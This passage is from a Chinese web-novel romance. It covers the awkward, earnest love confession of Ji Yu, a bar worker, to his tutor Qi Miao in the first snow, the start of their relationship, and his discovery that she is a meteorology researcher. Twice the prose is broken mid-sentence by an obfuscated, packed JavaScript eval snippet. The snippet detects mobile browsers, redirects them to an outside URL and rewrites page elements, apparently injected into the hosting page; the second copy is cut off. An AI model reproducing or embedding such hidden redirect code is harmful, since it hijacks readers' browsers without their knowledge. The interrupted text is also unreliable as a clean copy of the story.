所以,当孙健接通电话时,季玉的第一句话是:“孙先生,我一定会好好表现,努力工作!不管多辛苦都没关系,多困难都会熬过去,休息时间也可以缩短,但是不能不和齐小姐见面,我每一天都要见她的。所以,有可能的话,除此之外的时间,请你不留余力地给我安排工作。” 孙先生,孙先生当然好啊!甚至惊喜万分,在办公室内来回踱步,尽情畅想未来。然后他听见季玉一本正经地问他什么是喜欢。 孙先生不解,疑惑脸。事到如今,难道你和齐小姐没有恋爱吗?现在才问初级阶段的问题,这不大对吧?还是这其实是如今年轻人中的时尚,他已经落伍了?应该不是吧…… 诶,不对,既然还称呼齐小姐的话,看来真的没有恋爱诶,看来是这小子单恋???不是,你顶着这么张脸搞单恋???还是暗恋啊??? “额……喜欢就是为对方做所有不可能吧,连天上的星星都想尝试摘给她。明知不可为而为之,就算没个水花回响也心甘情愿,还会觉得如果自己再勇敢一点,再努力一些,是不是结果就不一样了……” 是啊,就算不可能又如何?就算没有回应又怎样?喜欢她,是期盼看见她的笑脸,哪怕是因为自己的糗事。是满足她的心愿,哪怕她的故事里没有自己的存在。 窗外的气温趋于零下,季玉想起上学那会儿的冬日。 某天下雪,学校里的同学激动不已,纷纷大喊初雪,起哄班里的一些男男女女。后来,季玉回家搜索过才知道初雪那天向喜欢的人告白,爱情就能实现。 他知道这是追求者虚妄的寄托,加油打气的方式,但今时今日,他不由遐想,今年什么时候会下第一场雪呢?今天天气很好,要不就今天吧?今天会下初雪吗?会的吧? 他开始默默祈祷,今天一定要下雪呀! 26. 贴近小狗的心脏 冷静片刻后,季玉改变了主意。他期待初雪快快降临,又希望它再等一等,等到他前程似锦的那一天。如果需要很久很久的话,那能不能等到看见曙光之时? 他自认已经平复心绪,然而下午齐妙过来时,第一眼就发觉他的不对劲,第二眼看见天台补课的地方布置得十分不寻常。 其实一开始作为补习的场所就过于“丰盛”了,应有尽有的程度,现在就更夸张了——谁来解释一下满屋的红玫瑰白山茶、气球和桌上的蜡烛还有牛排是怎么回事? 而且,某人脸红得诡异,时不时傻笑,说话变回原来磕磕巴巴又吞吞吐吐的。 刚见面就给她来了个120度大鞠躬:“齐齐齐小姐,见到你很高兴。” 齐妙看他半天抬不起头来,淡淡逗趣:“嗯,平身吧。” 午饭换成了西式的,切好的牛排装盘,西兰花和小番茄点缀。虾仁肉酱意面,辅以爱心形煎蛋。还有芝士土豆火腿玫瑰、蜜瓜火腿奶酪,以及甜品草莓雪人西多士。 季玉没有拉开吊灯,灰蒙蒙的天色下室内的光线昏暗,莹莹烛光倒映瞳里,照得他眼神明亮动人,像末日的太阳。 “齐、齐小姐,抱歉,我今天稀里糊涂的……没有事先问你就做了西餐,不知道你喜不喜欢……” “没事,什么菜系都可以,好吃就行。”齐妙实话实说,她比较好奇的是:“这些是你现学的吗?” 季玉腼腆地点点头。 齐妙自然就坐,叉起一块牛肉慢慢咀嚼,又夹起火腿玫瑰细细品尝:“第一次做就这么厉害,看来厨艺好不好,的确凭天赋。” 季玉准备齐全,有叉勺和筷子,唯独没有配套的西餐刀。他留心到齐妙的疑惑,解释说:“齐小姐需要什么让我来就好,刀比较锋利,容易伤到手。” 他今日格外不同,往常吃饭速度很快,那是长年累月积攒而来的对食物的迫切和执着。这会儿却神情恍惚、心不在焉,满脸食不下咽的难安模样,几次无意识咬唇,仿佛为烦恼所困。 用餐途中,还有个小插曲。季玉不会说谎,眼神更难掩饰地来回飘,在那盘草莓甜品上停留的时间最久,像是仔细观察其中区别。 某一刻,他突然蹭地站起身,摸了摸喉咙,唇角还沾了点儿奶油,倒吸一口凉气,然后在齐妙开口询问前尴尬地笑笑,缓缓坐下。 虽然所有的所有都引人猜疑,但齐妙到底还是没过问,只等他自己如实招来,继续依照既定的安排讲题。好在他专注力不错,补习时候态度认真,毫不含糊。 一直到补课结束,低垂着眉眼的季玉,犹犹豫豫地开口,一副搞砸了的欲哭模样:“齐、齐小姐,我可能,要下楼一趟……我,那个,有个东西需要取……” 他半遮半掩的话未说完,恰逢齐妙有来电,便轻声打断他,背身接通电话。 明明正处十二月底的冰冷天气,向来体寒的季玉居然慌张得直冒汗,他盯着齐妙的背影,头脑风暴一刻不停。 现在飞奔下楼还来得及吧?不不不,肯定来不及了吧!那家饰品店很远,位于市中心,飞毛腿来了也不管用!唉,我怎么,我怎么就……可恶!可恶!可恶可恶可恶!什么都做不好还不如直接从天台垂直下落,一头栽下楼……不行,高空不能抛物啊啊啊啊啊啊啊! 这时,齐妙随手从教辅书里抽出一张明显鼓起的卡片,问他:“取什么?这个吗?” 季玉反应了两秒,愣愣地眨巴眨巴眼睛,赶紧捂上嘴巴,在心里疯狂叫唤。 啊啊啊啊啊啊啊原来在这里!放错了放错了!应该放在自己那本练习册里的,怎么放进教辅书里了?!齐小姐是不是早就发现了?!!唯一庆幸的是,还好没有采纳网民们的建议,把东西放进食物里!他一开始就觉得很不安全不靠谱还不卫生,然而类似的所谓浪漫提议太多,以至于洗脑作用强大,令他在极度紧张的情况下记忆错乱,误以为自己不仅照做了,而且还不小心吃进肚里了…… 季玉接过卡片,迟迟没能打开:“是的,齐小姐我……” 像蠢货一样的他,一无所有的他,什么都给不了齐小姐的他,现在有资格吗?任何人在某一刻,或许都有把话说出口的勇气,但那之后呢?对方的心情会怎样?彼此之间的关系又会发生什么变化? 皆大欢喜自然是最幸运的结局,可渐行渐远、再不相见才是大多数吧……下午天气很差,一点儿也没有下雪的迹象,连上天都不愿意帮帮他,是不是在告诫他不要奢望呢…… 齐妙饶有兴致地支起下巴,凝了他一会儿,移开探究的目光,转而望向另一边:“鲜花和气球不打算解释一下吗?” 听闻,半故障的季玉尚存一丝理智,赶忙起身,抱着束鲜花小跑而来,蹲在齐妙身边,直直地高举花束:“花、花都是送给齐小姐的……玫瑰和山茶花都很漂亮,尤其白色的山茶花特别像齐小姐!非常非常独特,白雪一样纯洁,一眼就忘不了,从此,再也看不见其他。” “气球是……我,每次一见到齐小姐就会变得跟气球一样轻飘飘!可是时间久了却会慢慢漏气……就像我总在齐小姐面前丢脸,明知道自己有好多好多缺点和不足,越着急想要填补遮掩,就越是手忙脚乱,最终还是无济于事……” 清雅的香气萦绕,齐妙接过花,若有所思道:“气球啊,很脆弱。不小心就会被尖锐的东西刺破扎爆,放置角落久了还会萎靡不振,干巴巴地瘪掉。没有屋顶,没有人拉着的话,瞬间就消失得无影无踪,追也追不上。” 是需要好好呵护的。 季玉急声表明态度:“不会的!不不是,齐小姐说的没错,但我不会的!” “不会灰蒙蒙地窝在角落,会振作精神,好好管理外形的。没有屋顶我也会老实待着,齐小姐不拉着,我也会死死跟在齐小姐身后,你一回头就能看见!” “不过,如果,齐小姐愿意拉着的话……那、那最好了……” 他明明已经劝服自己再等等,只要再等一等就好。可是汹涌的即将破膛而出的情绪如此清晰剧烈,驱使他行动起来,大声诉说,现在、立刻、马上向齐小姐坦白一切。 可能会被齐小姐拒绝,甚至可能被她讨厌,可如果连这样承担所有可能性的觉悟都没有,他就只能被留在原地,还凭什么一点点靠近齐小姐呢? “齐小姐,你告诉过我,在你面前不需要考虑坦白的后果。我很感谢你的包容,也一直知道齐小姐是非常温柔的人,所以我想说的是,齐小姐在我面前可以无所顾忌。” 季玉扬起脑袋,脸上满是虔诚和依赖:“气球很脆弱,也很坚韧,即便施加压力也能恢复如初,还、还可以捏扁揉圆,扭成小狗之类的形状……总之不用太担心啦。” 他的眼神明亮而热切,齐妙静静注视着,倏然伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16946378|190924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手胡乱揉了揉大狗狗般柔顺的头毛,还嫌不够似的轻捏了两下脸颊肉:“嗯,我知道了。卡片不是给我的吗?” 季玉被摸脑袋摸得舒服,半眯起的眼陡然睁大,提起的嘴角凝固,小声回答:“是给齐小姐的……但我们能不能再做一会儿心理准备?” 他第一次准备告白,没有充足的时间,一心只想着郑重、正式,现在细想却感觉处处都不够好,鲜花、气球和西餐都算常规的,但这份礼物是不是太让人有负担了? 齐小姐特别体贴、善解人意,大概看出他的窘相,什么都没追问,只笑着同意。 不知何时,窗外淅淅沥沥下起雨来,让本就暗淡无光的天空变得沉闷压抑。 糟糕,初雪时分向喜欢的人告白,幸运才会降临。那与之相对的,如果是下雨呢?会不会……变得不幸?不过换个角度想,如果告白失败的话,是不是就可以怪罪到天气身上? 季玉的脑袋简直快要爆炸……无论如何,补习已经结束,不能再耽误齐小姐额外的时间,不能再等了! 他紧紧攥住卡片边角,冲进雨幕,哗地展开,里面藏着一条编织细密的红绳,两端穿过卡片左右,中间串着枚银戒。 原先准备好的小作文早就忘光光,季玉吸气呼气、吸气呼气来回几次,脑子里一片空白,终于喊出:“齐小姐,我爱你!” “……你说什么?” 回顾全程,齐妙还是第一次经历如此经典的老派告白仪式,更是第一次听对方告白就说爱,她不免有些怀疑自己的耳朵。 然而没等她质疑多久,下一瞬,季玉便深深吸气再吐出,以地动山摇的架势和魄力,奋力高喊:“我说,我、爱、你!” “我知道这很唐突很冒犯但我想了好久好久喜欢不足以表达我对齐小姐的感觉就连爱可能都远远不够齐小姐千万不要误会我不是随随便便轻浮说爱的人这是第一次虽然很害羞很仓促但我太想太想太想向齐小姐传达这份心情了连幸运的初雪都等不及就脱口而出意识到的第一秒钟就想见到齐小姐然后告诉你我好爱好爱好爱你无论多美妙的言语都无法表达清楚齐小姐不用现在就给我回答不就算永远不给也没关系只要能让我一直留在齐小姐身边就好了!!!” 季玉站在雨中,天公并不作美,雨势渐大,很快打湿他的额发,冬日寒风吹得他狼狈不堪。 他不管不顾,极力睁大眼睛,不敢眨眼,死死盯着齐妙,一通胡言乱语,却字字都发自肺腑。他不能停下,必须一鼓作气说完才行,没什么逻辑也没什么感人动听的词汇,只有一颗为她剧烈跳动的笨拙真心。 他们之间的距离不过短短两米,齐妙站在室内,忍俊不禁地笑出声来,那笑意轻快,透着愉悦。 “傻瓜,下雪了。” 落下的水滴里凝着微小的雪花。 齐妙的眉眼始终柔和,唇角轻轻漾起波澜,朝他伸出手:“想听我的回答吗?过来。” 三魂七魄走了大半的季玉直直扑来,又紧急在她面前刹住脚,却被齐妙勾住手腕,拉进怀里。 特别、特别、特别温暖柔软的拥抱。 季玉勉强聚拢神智,还记得身上湿淋淋的,有雨水潮乎乎的味道,会冻着齐小姐,于是恋恋不舍地退避着亲密接触:“……齐小姐会冷。” 感受到他轻微的挣扎,齐妙环住他的腰,贴近他的心脏:“别动,听我说。” 27. 甘之若饴的交往 此刻,不管是什么答案,季玉都甘之若饴。 齐妙抽出一只手,解开脖颈处的围巾,细细替他擦拭湿发。 质地上乘的围巾明显价格不菲,又是齐小姐的贴身物件,季玉惶恐,受宠若惊,手脚都发软发颤:“齐、齐小姐,别……弄脏你的围巾……” “有什么关系?弄脏了洗掉就是。”齐妙不甚在意,继续揉搓他的脑袋:“说实话,我还不太能确定异性之间的喜欢,或者说爱,和朋友之间的差别在哪。印象里,我没有对任何人产生过强烈的情感冲动。” “不过,刚刚你的那番话,我并不讨厌,反而挺开心的。还有就是,在我所认识的男人里,你是最招人喜欢的那一个。” 挺开心的……最招人喜欢的那一个……招人喜欢……喜欢……喜欢!!! 季玉惊呆:?????.?.? 见他瞪大双眼,满脸的不可置信,像被巨大惊喜砸傻的瞬间反应,齐妙停下动作,随手将围巾扔在一旁,双手用了些力气,将将稳住他的身形。 “如果你不介意我可能暂时无法回应同等的感情,那么,我们可以试一试交往。” 季玉宕机:??? “交往……我……我、我愿意!”他眼一花,腿一软,彻底美晕了,滑溜溜地直往地面扑。 齐妙撑不住大高个的全身重量,反被牵连着东歪西倒。最后关头,季玉伸出双手,扶上齐妙的腰,迅速将她抱上座椅,自己的膝盖却重重磕了个响。 “齐小姐,没事吧……” 说完这句,季玉就阖上眼,浑身脱力,不受控地向一旁倒去。齐妙托着他的后颈,勉强揽着他的脑袋入怀。 忍耐发作性睡病带来的不便已经够辛苦了,总不能叫人时时保持情绪平稳,那也太苛刻。 最近发作频率有所降低,就是不错的改善,只要没磕着碰着,让他多开心一些也无妨。 寒风自远方斜来,一阵阵卷起轻盈的雪花,小屋内温暖而静谧,午宴上的烛光荧荧,而当事人一头栽倒,乖巧沉眠,安静的睡颜像天使的面孔。齐妙垂眸,顺便检查了一番睡美人的身体,确认没受伤。 睡美人宽肩窄腰,瘦归瘦,没白长身高,骨架可不轻。更何况眼下他陷入昏睡,没办法配合,齐妙是无论如何挪动不得的,最多替他翻个身,调整一下姿势。 好在早前季玉将这里布置得很温馨,明明是临时搭建的补课场所,却用心得像经营一个家。粗糙的水泥地面上铺设毯垫,齐妙凭着记忆摸索,找到小毯子。 刚要抽身把季玉放倒,他却有所感应似的不安分起来,眉心皱成一团,哼唧着嘀咕,语气还挺委屈:“齐小姐……齐小姐……不走……” 按照原姿势睡一会儿,骨头都得累散架,齐妙最终还是选择把他扯离怀抱,倒是留了只手,一下一下地轻拍他的脊背。 季玉这次睡的不久,醒来时齐妙正倚在窗边看书。她摘掉了眼镜,目光落在书页上,神情专注。 一场雪忽至,悄无声息间照亮了阴沉的天空,那双骨节分明的手,一边自然垂下,一边托着书脊,泛着银白色光芒的手镯滑至臂间。 季玉屏住呼吸,定坐在原地天人交战,只是视线似火,惹得齐妙不得不注意:“醒了?” 他仰起脑袋,怔怔地呢喃:“嗯……醒了……又好像没醒……” 说着,他小心翼翼地挪,一点点靠近。本就不远的距离几乎被缩成随便动一动,齐妙的胳膊就能给他一肘子。 “我觉得不是做梦,我编不出这么好的美梦的……但有可能是幻觉!所以,齐小姐可以踢我一下吗?” 打人可能会手疼,而且齐小姐不一定愿意直接触碰到他,相对而言“踢”是最省力又能保持距离的方式了。 齐妙慢悠悠地抬起腿,季玉当真躲都不躲,眼也不眨,甚至带着浅浅的笑意。预想中检验幻觉的触感并未降临,只见她左腿跷右腿,十分优雅地完成了一个二郎腿姿势。 她俯身,食指直戳傻子脑门中央,靠近指尖的位置,有什么亮晶晶的,轻轻在眼前摇晃闪烁:“这个东西,是我自己套上,还是你给我戴?” 季玉:!!! 本以为这傻瓜又要害羞半天,再整君子之交那套推脱一番,没想到害羞是害羞了,嘴上也推脱了,手速倒是极快。 第一时间捏着那戒指往下顺,颤颤巍巍的,但毫不迟疑,一路走到底,正正好好套在指根的位置。 手都没牵过,光是目测,就能精准猜出尺寸吗? 戴都戴上了,高高翘起的唇角压都压不住,他还要追问:“我吗?我可以吗?齐小姐真的愿意吗?” “先前的一切,都是真的对不对?我、我向齐小姐告白了,虽然表现得很差很差,虽然齐小姐对我并不是同样的感情,只是不讨厌我而已……但齐小姐,齐小姐还是愿意和我交往对不对?” 齐妙钳住他仍在发抖的爪子,举高,对着光亮的地方,若有所思地打量了一会儿:“纠正两点:一、你没有表现得很差,我认为,很真诚,也很可爱。二、不仅仅是不讨厌你,而且至少是在好感之上。其余的,无误。” !!!天呐虽然齐小姐的所有他都很爱但是简直爱死齐小姐这种魅力时刻明明看起来云淡风轻波澜不惊好像只是在简单谈论天气却又特别正经特别认真地打直球和毫不吝啬地夸夸超帅气超迷人的!???????????????? 季玉捂着胸口,傻笑个不停,脸蛋红扑扑的,大眼睛都成痴迷的爱心形,翘起的呆毛直往外冒粉红泡泡。 笑着笑着又开始乐极生悲,不听话的眼角偷偷湿润,几秒的功夫,嘴巴迅速下撇成悲伤的弧度。 “稍微控制一下,今天猝睡的额度已经用完了。”齐妙理解他的心情,但总不能放纵人刚醒来又晕过去,反反复复的,难免伤身。 很奇怪。一见他眼尾洇红,要哭不哭,惹人怜爱的小狗模样,齐妙就既想揉揉哭包的脑袋安慰,又想逗一逗他。 她发现,在季玉面前,自己总是感性先于理智,偶尔还会冒出些吓唬人的恶劣想法:“还有啊,交往第一天不许发烧,不吉利。传说中如果在这天掉眼泪,甚至生病,这对情侣就难以长久。” 果然,季玉被吓得急急刹住眼泪,赶紧重拾笑脸,叽里咕噜地也不知道在念什么咒语:“开心开心……长长久久……” 齐妙把玩着他拔凉的手指,莞尔笑道:“逗你的,事在人为,封建迷信不可取。不过,我当然是希望交往对象开心。” 季玉痴痴地望着她,喉结滚动,心跳如擂,掌心渗出冷汗。任由齐妙摆弄的软若无骨的手指微微抽动,一次两次愈发亲密的试探下,不见齐妙躲闪,反倒玩味地睥着他。 季玉顿感头晕目眩,大着胆子眼睛一闭,十指交扣,牢牢攥紧那只手。纤细、柔嫩,带着齐小姐一贯的温度。 既然正式交往了,齐小姐也没有拒绝牵手,你难道不想更靠近她一点吗?现在拥有的已经太多太梦幻了,再做些不切实际的美梦就要醒了吧……而且任何女孩都更偏向于一个有边界感,不会得寸进尺的交往对象吧! 脑海里的天使和恶魔又在争论不休,他其实什么都听不清,心跳声吵闹到几乎快震痛耳膜。他梗着脖子,僵硬的肌肉离痉挛不远,脑袋以缓慢的速度向一侧倾斜,直到轻轻挨上齐小姐的膝头,依恋又讨好般地蹭了两下,力道极轻,像软绵绵的花瓣不小心滑落。 这样就很好很好很好了…… 齐妙左等右等,这次也没预判成功他的行为轨迹,不清楚他这种基本自我悬空式的接触累不累,反正她看着挺辛苦,于是慷慨地伸出手,给人按头按了个实在。 隔着厚厚的休闲裤面料,季玉脸埋在她腿上,好半天一声不吭还没动静。待他缓过劲来后,就像终于熟悉新家的小狗撒欢儿,在满是主人气味和体温的地方,洗脸似的蹭蹭蹭个没完。 齐妙无奈地笑笑,顺势呼噜呼噜他的头发。恐怕谈恋爱就是两人做些不起眼的无聊小事,也会觉得乐在其中吧。 ——?——(恋爱版限定哈特分割线) 从交往第二天开始,季玉便有些苦恼。 齐小姐最近好像很忙,整整五天都是很快吃完饭,然后就说有事要先离开。连午休的时间都省掉了,看来念大学真的很辛苦呀。 交往当晚,回到宿舍,小优不在,他独自兴奋得睡不着觉,发短信问齐小姐可不可以煲电话粥。上学的时候,季玉听早恋的同学在班级里大肆宣扬过女朋友太黏人,每晚都要煲电话粥,烦得他头大,不知道有什么可聊的。 时至今日,季玉想起这回事,不禁腹诽,怎么会没有聊呢?他就每分每秒都有一堆话想要对齐小姐说,明明每天都见面,却还是想见她,明明刚 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小优翻身坐起,来不及思考今夕何夕,一股脑儿地瞎猜,越琢磨越起劲:“……你确定你们是交往关系了?该不会是误会吧?还是因为气氛什么的冲动答应,睡一觉起来就后悔了?冷暴力让你主动提分手呢?更糟糕的情况还有脚踏两条船,时间管理大师,所以才抽不开身……” 人还没指名道姓,季玉先急得跳脚:“不可能!不许你诋毁齐小姐!她不会玩弄别人的感情,也不会头脑一热就随随便便答应这种事!如果……如果她后悔了,不想继续了,一定会直截了当地告诉我。” “……哥,我可没说齐小姐啊,我就是按照兄弟们的经验给你多提供几个真实事例。”意外又不意外的交往对象,小优翻出他官宣的朋友圈,指了指,怀疑道:“如果你是说,这张图戴戒指的女孩是齐小姐的话,我觉得,是误会的可能性很大。要么是你在做梦,要么就是我在做梦。” “我不是怀疑你的魅力哈,毕竟哥比电视上的那些大明星还帅,有这张脸什么女人搞不定!就是吧,齐小姐真有点油盐不进的感觉,很难想象你们……” 小优没好意思多说,怕季玉跟他翻脸,不过季玉情绪还算稳定,幽幽斜他一眼:“我不怪你单身眼红,你又怎么会清楚我和齐小姐之间的感情?” 话虽如此,其实他心里一点儿底都没有。接连几天,他都早早独自回来,盯着手机发呆,一直熬到上班时间。 开工前大家各玩各的手机,很少抬头,但酒吧电视常开,不为别的,就图个声响。这里人习惯热闹,电视放着睡觉才香。免费的频道不多,他们也懒得调,基本固定在央视几个台。 “欢迎大家来到中央广播电视总台,收看大型科学知识普及纪录片《风暴之外》……近日,我们节目邀请到来自首都气象局的三位研究员,他们是毕业于……和清北大学气象学专业的博士研究生齐妙……” 同名吗? 季玉猛地抬起头,看向正前方,下一瞬屏幕里出现的姑娘,正是他心心念念的齐小姐。 她身穿白衬衫,戴着金边眼镜,束起规整的马尾辫,整个人干净利落。嗓音清冷,不急不缓:“大家好,我是齐妙。很荣幸受邀参加这次的节目录制……众所周知,天气时时在发生变化,但全年的气候状况相对保持稳定,这为生命提供赖以生存的环境条件……” 他傻傻地望着,附近的小优却咋咋呼呼地大叫起来:“我我我没看错吧?那是不是齐小姐?!!” “我就说,我就说嘛!早就觉得齐小姐不是普通人,但也没想到她是这么牛叉大学的博士诶!!!还是什么研究员,是专家老师吗?还是科学家啊?我的妈呀,我算不算认识上文化名人了?!” 不知道从哪儿冒出来的阿星,调出副高高在上的态度:“嗨呀,有些人连阿妙的真实身份都不知道,还臆想和她谈恋爱呢?不知道谁借的胆子哟,一点儿羞耻心都没有呢!攀关系前先问问自己配不配~” 小优底气不足,但仍站在季玉那边:“应该不会吧……齐小姐大概就是低调,不喜欢张扬,也可能是想以后再慢慢告诉季哥……” 阿星嗤笑:“阿妙没告诉过你们身份,就是担心有人纠缠不休吧。” 他们的争执和旁人的议论,都没能引起季玉的片刻在意,他始终紧锁屏幕,争分夺秒地搜寻齐妙出现的每一帧,语气落寞:“怎么办……” 小优、阿星纷纷竖起耳朵,紧接着听见他说, “还是好想齐小姐啊……” 小优、阿星:…… 28. 付出真心的回报 向来和他不对付的阿星也不由地问一句:“……这时候你的关注点不该在这上面吧?” 小优满脸“就是说啊”的皱巴成草稿纸的扭曲表情:“对啊对啊,哥你的女朋友都快没了……” 他是真把季玉当大哥,虽然他俩年纪差不多,但季玉仗义又厚道,有担当特能处,是他进城以来,帮助他最多的人。 要说唯一的缺点呢,就是人太单纯,感情经历一片空白,容易被骗。遇见齐小姐之后,还一步到位直接进化为直令人摇头叹息的恋爱脑。 也怪他,身为兄弟,没有早早发现及时劝阻。最开始认识季玉的时候,他误会对方长了张玩世不恭、情场得意的脸蛋,所做的一切努力都是为了业绩,毕竟对他们来说赚钱才是最重要的大事儿,万万没想到季玉沦陷得如此之快、如此之深! “我听说那些精英啊,好多都怪得很,什么突然来了研究平民吃路边摊的兴趣,还有各种什么交往合约啦协议啦,就是闲下来玩玩而已,都是假的!等白月光回国,青梅竹马继承家业,就齐齐一脚把灰姑娘灰小伙给蹬了!美美过上有钱人的幸福生活!电视剧上都这么演的不是?” “哥你别误会啊,我真不是怀疑齐小姐的人品,就是觉得咱们和她怎么看都不像一个世界的人……你是绝世大帅哥,这点没的说,人品又好,但再好看的脸说不定哪天就被看够了,没保障啊!人品什么的虚头巴脑的,过日子还是要务实……” “而且吧,齐小姐那么聪明,智商高对吧,年纪轻轻能力强又有钱的,总有种高深莫测的感觉……老一辈常说门当户对,那肯定是有说法的!” 门当户对,小优说的那些,季玉不是没有考虑过。他对齐小姐还有很多不了解的地方,但他想,齐小姐就算不是来自富裕家庭,也必定经济条件还不错。 他是头脑不灵光,既没钱还没优点,现在换了新公司也只会按部就班、没头没脑地竭力练习而已,就算成功出道,甚至非常幸运地被观众发现,可能也无法抵达与齐小姐并肩的位置。 即便如此,即便如此,他还是不能离开齐小姐。 良久,季玉缓缓开口,表情平静,字字清晰:“我知道,知道自己远远配不上齐小姐。但既然她同意和我交往,无论如何,只要她没有提分手,我就会一直一直黏在她身后,拼命、拼命地追上她。” “说的不错。” 身后熟悉的声音渐近,比先前电视里传来的更清亮温和。 季玉不可能听错,那是齐小姐的声音!他猛地回头,正与抱臂倚靠在门边的齐小姐对视。 趁他还在发懵的功夫,齐妙走近,浅笑:“要奖励吗,男朋友?” 阿星:……天要亡我??? 小优:啊啊啊啊啊啊啊啊啊死嘴死嘴死嘴!!!果然说曹操曹操到,老祖宗领悟得透透的!等等,什么?正主亲自认证恋爱关系实锤??! 齐妙刚到不久,恰巧听了小部分,又瞥见不远处电视节目片尾,大致也能猜明白他们几个在讨论什么。 日思夜想的人突然从电视机里来到荧幕前,会不会齐小姐有读心的超能力呢?惊喜从天而降,季玉近乎自虐般剧烈揉搓眼皮,呆愣愣地站起身,跟被罚站似的。 他根本不知道该做何反应,嘴巴一张一合,半天才拼凑出完整的语言:“齐小姐……你来啦……” 对了!齐小姐刚刚说……奖励……男朋友……男男男朋友!!! 齐妙径直坐下,示意他也坐,然后向小优点了两杯鲜榨橙汁,解释道:“嗯。最近因为工作冷落你了,今天又是你在酒吧工作的最后一天,我过来看看,送份离职礼。” 打发走小优,之前在她这儿碰了一鼻子灰的阿星不会自讨没趣,很快便悄然离开了。 她说着,递给季玉一个蓝色的香水礼盒:“新工作顺利。” 帕尔马之水香柠檬,扑面而来的清爽柠檬柑橘果香,融合乌木雪松的暖调和干净的皂感麝香。 很符合季玉身上的气质,应该也是他喜欢的香型。齐妙来之前,去了趟商场试香。 “……谢谢齐小姐!我特别喜欢!”季玉刚坐下还没捂热椅面,又蹭地站起来,双手捧着礼盒,指腹小心而珍惜地摩挲着边角,居然向她深深鞠了一躬。 他拉开外套拉链,从里兜摸找出什么东西攥在手心里,就这样低着头,伸长胳膊,着急忙慌地道歉:“这个是……我的银行卡,密码987651,希望齐小姐能收下!对不起,我没有准备礼物……” 现在能给齐小姐的太少太少了,所以能拿得出来的,都想一并献给齐小姐。 白送面前的脑袋,哪有不摸的道理?齐妙揉了两下他的头发,没有接受他的全部家当:“没关系,你不需要道歉,也不用着急回这么大的礼。心意我领了,等下次我有值得庆祝的事,你再送合适的礼物吧。” “实际上,该道歉的人是我。一开始你误以为我还是读大学的年纪,我当时没有澄清是觉得没必要。但决定交往的时候,我理应对你坦白,而不是让你通过其他方式意外得知,还因此受到其他人的质疑。” 齐妙注视着他的双眼,认真道:“抱歉,我说谎了,对你有所隐瞒。” 起初,她的确认为缘浅,活在当下就好,真真假假不重要,更无需特意解释。后来,上周末刚确定关系,这周一就收到配合录制的临时通知,短时间内忙得不可开交,无暇考虑工作以外的事。直到昨晚彻底结束,她才得以在今日下班后抽出空来。 不过,忙碌不是借口。她随心所欲惯了,但不代表冷情冷肺、不考虑另一半的感受。 惊诧之余,季玉只觉得一股暖流自心底而起、喷涌而出,像一脚踏入柔软的春日秘境。 他连忙摇头,极力忍耐渴望紧握齐小姐双手的冲动,一字一句,向她传达真心:“不不不,齐小姐不要对我道歉。是我糊里糊涂,没搞清楚就自以为是,妄下判断。我知道你那时没有解释一定有自己的考量,这不能叫说谎……我没有因此受到任何伤害,也从来没怪过你,我喜欢都来不及呢……” 齐小姐太好了,真的真的太好了!为人温柔细腻,心地善良,不仅事事体谅别人的心情,还轻描淡写地把所有的错误和责任都揽到自己身上,避免造成他人的心理负担。 “而且他们质疑我,是因为我明明没有资格靠近齐小姐,却超级走运地梦想成真。换作是我,看见齐小姐和一个非常差劲的糊涂蛋在一起,我不光要质疑他,还会每日每夜地狠狠诅咒他快点消失在这个世界上!” 季玉没敢说的是,如果真出现这样一个幸运到可恨的混蛋,除了诅咒,他还想偷偷给那人使绊子,罩起麻袋揍他个鼻青脸肿面目全非! “目前为止的人生里,我收获的所有幸福与快乐,都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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真心换真心……真心换真心……季玉也搞不明白为什么突然热血直冲脑门,他很难形容自己那一刻的感受,总之就是非常激动,简直依靠本能脱口而出:“……齐小姐,我爱你我爱你我爱你!” 殊不知他在齐妙面前,像极狂摇尾巴,乱蹦乱跳,迎接主人回家的小狗。 齐妙还没想好如何应对热情过度的单细胞生物,清了清喉咙,含蓄点头:“嗯,我会好好对你的。” 然后,她伸出一只手,公事公办的态度,语气却轻松:“还有,正式自我介绍一下,我是齐妙,目前就职于首都气象局,是一名研究员,主攻方向为大气物理与动力学。称不上了不起的专家教授,更算不上科学家,平时工作杂事很多,科研之外,写材料居多。” 季玉双手握上合拢,眼里的星星亮闪闪:“齐小姐太谦虚了,你明明特别特别厉害!非常非常优秀!每条履历都是普通人完全触及不到的,齐小姐却包揽所有成就,一路走来肯定很辛苦。” 一路走来,她一直很顺利。人人都说她生来聪慧,理所应当站在今天的位置。愚蠢又爱找借口的人总是很多,她父母平平,基因正常遗传没有突变,既不是超人类,也不是智商爆表足以改变历史的天才。 她的确拥有平均值以上的聪明,但这种聪明在清北大学中,在更高的平台里,甚至放眼世界,绝不在少数。没有人可以轻而易举获得成果,没有人是不辛苦的,比较和抱怨皆无用。 越走近,看得越清晰,面具之下的季玉很简单,说不出冠冕堂皇的话,倒是比许多人都通透。她不需要别人的肯定或理解,但如果是他说,她信,并且感到愉悦。 “还记得我刚来时问你,想不想要奖励吗?”齐妙提起另一件事,“说成奖励其实并不准确,是交往当天就想给你的,只是需要点时间准备。”